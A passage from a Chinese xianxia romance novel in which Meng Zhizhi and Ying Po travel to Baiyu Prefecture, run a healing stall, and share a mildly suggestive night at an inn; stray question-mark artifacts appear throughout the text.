见?她坐得歪歪扭扭,赢破扶住她的腰,道:“坐好,当心掉下来。” 孟枝枝不让,道:“真?的不后悔?” 赢破见?她嘴角挂着戏谑的笑,道:“你想当皇帝?” 孟枝枝哼了一声,道:“我才不想当呢。当皇帝哪有做散仙自由。嗳,你快看,我们是不是快到白玉州了。” 她手一指,远远能看见?白玉州的城门耸立。 赢破道:“是了。你坐好。” 孟枝枝不依不饶道:“你还没回答我的问题呢,赢破!” 赢破拍了拍骡子的屁股,骡子就哒哒哒地往前跑,孟枝枝扭头瞪着他。 赢破跟着步子,他只?是轻轻迈步,手中还牵着绳子,却能跟着骡子的步伐。 他叹息道:“不想要后宫三千。” 孟枝枝长长地哦了一声。 赢破跳到骡子身上,坐在她身后,揽着她的腰,在她耳边道:“只?想让你使唤我一人。” 孟枝枝耳朵发烫,哼哼道:“你知道就好。” 骡子受不得两人重?量,直接原地撂起了蹶子,唧唧地叫起来,实在受不了两个人一路折磨。 眼?见?骡子罢工,两人对视一眼?,孟枝枝推了推赢破的肩膀,道:“都怪你。” 她先下了骡子,提步先走,赢破见?状,舍了那绳子,跟在她身后。 他们二人进入白玉州中。 如?今的天地已经大?不同,白玉州自从那一次危机,重?建了不少建筑,但也因此受到外地人旅游,毕竟一个出现过鬼邪和仙人的地方?实在令人好奇。 孟枝枝笼着帽围,一路逛着,这?个摊位看看,那个摊位瞅瞅,好不快活。 只?是两个人从平安城里?带出的钱币都用不了,现在外面都未曾见?过他们用过的钱,只?觉得二人是骗子。孟枝枝只?好做起老本行,架个摊位,给人看病,赢破惯例打下手,这?才赚了些银钱。 只?是他们容貌惊人,又治好了好些个将死之人,惹了不少人围观,甚至连县太老爷都惊动?了,着人来请。 见?这?般状况,孟枝枝对赢破道:“快跑!” 她撂摊子跑了,就见?赢破被那些人围着,哈哈大?笑,等赢破脱了身,直接上来掐着她的脸颊,咬牙切齿道:“还玩不玩了?” 她眼?角的笑泪止不住道:“不玩了,真?的。” 赢破道:“你赔我。” “好吧,你说吧,你要我怎么赔你?” 赢破拧着她的腰,道:“等晚上。” 孟枝枝自知他说的什么意思,脸上羞红,道:“不害臊!” 夜间,客栈之中,鱼水之欢,起起伏伏,床榻上的垂珠晃动?了许久,蜡烛燃尽。 孟枝枝躺在他的怀中,轻轻喘气道:“你为什么从来不叫我枝枝?” 赢破道:“你喜欢我这样叫你?” 孟枝枝道:“你以前不就这么叫我?” 赢破拧了她腰一把,声音喑哑道:“孟芷,你还喜欢他?我不许!” 孟枝枝扑哧笑出声,支起上身,道:“你和他不就是同一人?你这?人真?怪,还吃起自己的醋了。” 赢破一口咬在她雪白的肩头,眸子里?浮起一层雾气,有些委屈,道:“我不是他。从来都不是。” 他又将她推下,她倒在床榻之上,孟枝枝哎哟地叫起来,故意道:“好狠的郎君,这?是要我的命呀!” 赢破抚摩着,掌心滚烫,他又是一番攻略城池,似想将那个人的身影从她脑子里?狠狠抹去。 孟枝枝瞳仁微散,只?觉得天地旋转,身子一股一股热浪袭来。 “还喜不喜欢他了?” “不喜欢了。” “真?的?” “恩,不喜欢他,只?喜欢你。赢破,我只?喜欢你。” 赢破嗯了一声,粗粗地喘气,他吻着她的耳垂,道:“孟芷,我也只?喜欢你。”